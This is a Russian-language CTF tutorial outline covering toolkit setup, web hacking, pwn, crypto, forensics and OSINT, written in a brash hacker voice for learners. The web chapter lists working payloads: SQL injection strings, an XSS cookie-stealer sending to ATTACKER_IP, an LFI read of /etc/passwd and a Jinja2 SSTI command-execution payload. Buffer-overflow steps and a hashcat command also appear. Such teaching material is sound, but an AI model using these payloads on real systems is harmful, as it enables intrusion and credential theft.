«Забудь всё, чему тебя учили. Здесь не будет белых перчаток. Только ты, терминал и вражеская система. «Try Harder» — это не лозунг, это диагноз. Погнали.»
Глава 0. Enter the Matrix: Введение в ментальность CTF
0.1. Что такое CTF и почему это лучше, чем спать. Разбираем на пальцах: Jeopardy, Attack-Defense. Где азарт, где боль, где слава.
0.2. Мышление атакующего. Почему `user` — это для лохов, а `admin` — наша цель. Как видеть не сайт, а точки входа. Не программу, а уязвимые функции.
0.3. Закон и порядок. Где проходит грань между CTF и статьей УК РФ. Кратко и по делу, чтобы не сесть раньше, чем получишь первый флаг.
Глава 1. Арсенал в подвале: Готовим рабочее место
1.1. Выбор дистрибутива. Kali, Parrot или свой кастомный Arch? Плюсы и минусы для бойца.
1.2. Настройка терминала. `tmux` или `screen` — твой лучший друг в долгих катках. Zsh/Oh My Zsh для автодополнения и истории, чтобы не печатать одно и то же.
1.3. Основной тулчейн.
Разведка: `nmap`, `gobuster`/`ffuf`, `sublist3r`.
Веб: Burp Suite (Community хватит для начала).
Реверс: Ghidra (бесплатно и мощно), `gdb` с `gef`/`pwndbg`.
Эксплойт: `pwntools` для pwn, `sqlmap` для ленивых.
Универсальный солдат: CyberChef.
1.4. Заметки. Как вести лог атаки, чтобы не сойти с ума. `cherrytree`, `obsidian` или просто `vim`.
Глава 2. Web’s Most Wanted: Ломаем вебапликухи
2.1. Разведка и фаззинг. Смотрим под капот.
Что я вижу: Сайт.
Что я думаю: Где у него админка, какие технологии, какие скрытые директории?
Команда: `ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://TARGET/FUZZ -e .php,.html,.txt`
2.2. SQL-инъекции. Святой грааль веба.
Вектор: Поле для логина, параметр в URL.
Payload (Classic): `’ OR 1=1 — -`
Payload (Blind): `’ OR (SELECT SLEEP(5) FROM users WHERE username=’administrator’ AND LENGTH(password)>20) — -`
Инструмент: `sqlmap -u «http://TARGET/login?id=1» —dbs —batch`
2.3. XSS на стероидах. Не просто `alert(1)`.
Вектор: Поля ввода, комментарии, профиль.
Цель: Украсть куки админа.
Payload: `<script>new Image().src=»http://ATTACKER_IP:8000/?»+document.cookie;</script>`
2.4. File Inclusion (LFI/RFI). Читаем то, что не положено.
Вектор: `?page=about.php`, `?file=…`
Payload (LFI): `?page=../../../../etc/passwd`
Трюк (PHP Wrappers): `?page=php://filter/convert.base64-encode/resource=index.php`
2.5. SSTI (Server-Side Template Injection). RCE через шаблонизатор.
Проверка: `{{7*7}}`
Эксплойт (Jinja2): `{{ self.__init__.__globals__.__builtins__.__import__(‘os’).popen(‘id’).read() }}`
Глава 3. Черный ящик: Реверс-инжиниринг и Pwn
3.1. Первый взгляд. `file`, `strings`, `ltrace`, `strace`. Что за бинарь, с чем его едят.
3.2. Декомпиляция в Ghidra. Ищем `main`, `strcpy`, `gets` и другие “красные флаги”.
3.3. Buffer Overflow. Классика, которая никогда не умрет.
Что я вижу: Бинарь просит ввести имя.
Что я думаю: Сколько символов он выдержит, прежде чем захлебнется?
Атака:
1. `cyclic 1000` (в gdb/gef) -> находим EIP.
2. `cyclic -l 0x…` -> получаем смещение (offset).
3. Пишем шеллкод или ищем `system()` в бинаре.
4. `python -c ‘print(«A»*offset + address_of_win_func + shellcode)’ | ./binary`
3.4. Магия Pwntools. Автоматизируем ад.
Глава 4. Игры разума: Криптография для практика
4.1. Не-шифрование. Base64, HEX, ROT13. Первое, что проверяем в CyberChef.
4.2. Слабые ключи. RSA с маленькой `e`, повторное использование `nonce`.
4.3. Взлом хешей. John The Ripper и Hashcat.
Команда: `hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt`
Глава 5. Цифровой Шерлок: Форензика, Стеганография и OSINT
5.1. Форензика. Копаемся в мусоре.
Файл: `capture.pcap` -> Wireshark. Фильтр: `http.request`.
Файл: `memory.dmp` -> Volatility. `imageinfo`, `pslist`, `cmdscan`.
Файл: `disk.img` -> Autopsy или `mount -o loop,ro …`.
5.2. Стеганография. Ищем флаг в картинках и звуках.
Инструмент: `steghide extract -sf image.jpg`, `zsteg`, `binwalk -e`.
Трюк: Открыть картинку в текстовом редакторе и поискать `flag{…}` в конце.
5.3. OSINT. Google-dorking, Shodan, GitHub. Ищем слитые пароли, старые версии кода, инфу о разработчиках.
Послесловие: “Бесконечный цикл”
CTFtime.org — твой календарь.
HackTheBox / TryHackMe — твои спортзалы.
Write-ups — твой способ учиться на чужих ошибках и успехах.
Никогда не сдавайся. Застрял? Поспи, выпей кофе, попробуй снова. Red team need rest too.